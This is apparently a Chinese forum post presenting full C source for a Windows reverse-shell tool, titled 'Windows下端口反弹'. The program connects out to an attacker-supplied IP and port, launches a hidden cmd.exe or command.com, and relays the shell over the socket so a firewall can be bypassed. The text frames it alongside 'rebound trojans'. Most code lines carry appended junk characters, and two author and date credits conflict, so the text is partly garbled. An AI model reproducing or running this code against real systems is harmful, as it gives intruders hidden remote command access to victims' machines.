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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1)Zf3Y8  
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/* ============================== "jw<V,,  
Rebound port in Windows NT T1H"\+  
By wind,2006/7 OrK&RC  
===============================*/ P9 Z}H(?C  
#include )2M>3C6>f  
#include ~y7jCcd`  
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#pragma comment(lib,"wsock32.lib") 8U_{|]M  
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void OutputShell(); [ +P#tIL  
SOCKET sClient; o6p98Dpg   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q$fmD  
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void main(int argc,char **argv) [<KM?\"1<  
{ k?7 X3/O  
WSADATA stWsaData; Fgh]KQ/5  
int nRet; b6*!ACY  
SOCKADDR_IN stSaiClient,stSaiServer; vY_-Ranj#.  
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if(argc != 3) ZzX~&95G  
{ & GreN  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1m.W<  
return; Ox@P6|m  
} ,#8e_3Z$  
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WSAStartup(MAKEWORD(2,2),&stWsaData); }-@`9(o`)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uyY|v$FM  
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stSaiClient.sin_family = AF_INET; uAWM \?  
stSaiClient.sin_port = htons(0); `Ry]y"K  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); YtWJX kB  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p*P)KP  
{ gatB QwJb9  
printf("Bind Socket Failed!\n"); <=,6p>Eo[  
return; Kx%Sku<F'  
} rX1QMR7?  
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stSaiServer.sin_family = AF_INET; T|TO}_x  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +="e]Yh;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |u;v27  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @qHNE,K  
{ 6!(@@^7{*  
printf("Connect Error!"); Q0ON9gqqv  
return; \0gM o&  
} #KiRfx4G  
OutputShell(); }3L@J8:D"  
} A\.GV1  
^) s2$A:L  
void OutputShell() L{`JRu  
{ E)fglYWs2  
char szBuff[1024]; s91JBP|B7  
SECURITY_ATTRIBUTES stSecurityAttributes; UMcgdJB  
OSVERSIONINFO stOsversionInfo; z.I9wQ]X[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bv*,#Qm  
STARTUPINFO stStartupInfo; =i7`ek  
char *szShell; W}]%X4<#rN  
PROCESS_INFORMATION stProcessInformation; =7o"u3hG  
unsigned long lBytesRead; ~((w?Yy"v  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m RO~aD!N  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >#y^;/bb  
stSecurityAttributes.lpSecurityDescriptor = 0; }7.PH'.8  
stSecurityAttributes.bInheritHandle = TRUE; qm8&*UuKJ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A`}rqhU.{-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _n` a`2C|m  
])!o5`ltZ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Aj4T"^fv  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !! ? Mw  
stStartupInfo.wShowWindow = SW_HIDE; HZf/CE9T  
stStartupInfo.hStdInput = hReadPipe; y)@[Sl>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s=QAO!aw  
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GetVersionEx(&stOsversionInfo); Oal3rb  
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switch(stOsversionInfo.dwPlatformId) D'Y-6W3  
{ ]f({`&K5  
case 1: 0ok-IHE<  
szShell = "command.com"; 9B7^lR  
break; Aw5HF34J  
default: 07^iP>?  
szShell = "cmd.exe"; @("a.;1#o  
break; p$3sME$L  
}  _ "VkGG  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4Q6mo/=H  
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send(sClient,szMsg,77,0); 9uA>N  
while(1) ]h %Wiw  
{ u2?|Ue@[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0p!>JQ]m  
if(lBytesRead) n4#;k=mA  
{ n$ou- Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4s*ZS}] o  
send(sClient,szBuff,lBytesRead,0); S-|)QGxV6  
} ,^. 88<  
else k+ty>bP=  
{ D,k"PaLP  
lBytesRead=recv(sClient,szBuff,1024,0); Y/ .Z .FD`  
if(lBytesRead<=0) break; Us0EG\Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z Z:}AQ  
} j4uvS!  
} -- c"0,7  
$NZ-{dY{  
return; gh8F 2V;<  
}
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